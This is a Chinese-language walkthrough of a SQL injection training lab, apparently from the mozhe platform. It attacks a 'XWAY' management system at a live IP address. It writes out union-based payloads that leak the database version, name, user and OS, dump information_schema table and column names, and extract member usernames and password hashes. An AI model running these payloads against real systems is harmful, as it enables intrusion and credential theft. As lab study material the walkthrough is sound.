本次进行测试的目标是:XWAY科技管理系统V3.0
XWAY科技管理系统V3.0http://124.70.22.208:40182/new_list.php?id=1
对目标信息进行搜集:
使用order by 测试出有4列
使用 使页面报错弹出问题XWAY科技管理系统V3.0http://124.70.22.208:40182/new_list.php?id=-1%20union%20select%201,2,3,4
在爆出的错误位子,进行替代查询
数据类型: mysql
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名称:database() mozhe_Discuz_StormGroup
操作系统:@@version_compile_os Linux
数据库用户:user() root@localhost
根据上收集的信息,我们进行下一步的测试 获取数据库和表名
union select 1,group_concat(table_name) ,3,4%20 from information_schema.tables where table_schema ="mozhe_Discuz_StormGroup"
获取到单个数据库 ,如果有多个则可在 字段名前加入 group_concat
得到二个数据名 StormGroup_member,notice
查询数据库下的列union select 1,group_concat(column_name) ,3,4%20 from information_schema.columns where table_name ="StormGroup_member"
得到这些列明后,我们进行数据库的查
对第一个表查询得到 mozhe 356f589a7df439f6f744ff19bb8092c0 进行解码提交key 发现不对,说明还有其他账户密码
对第二表查询得到 union select * from StormGroup_member limit 1,1
得到:mozhe3cbc1d19814dcbc9ddf4a7ab3dc
成功注入
总结 :
首先:
判断注入:列名数量 使用order by x 判断出零界点
然后查询到当下数据库得名称
对数据库进行列查询
得到数据
高版本的数据库(5以上)一般默认有 information_schema.tables (记录数据库名称)、information_schema.columns
table_name (数据库名) column_name(表名)
语句:
操作系统 :@@version_compile_os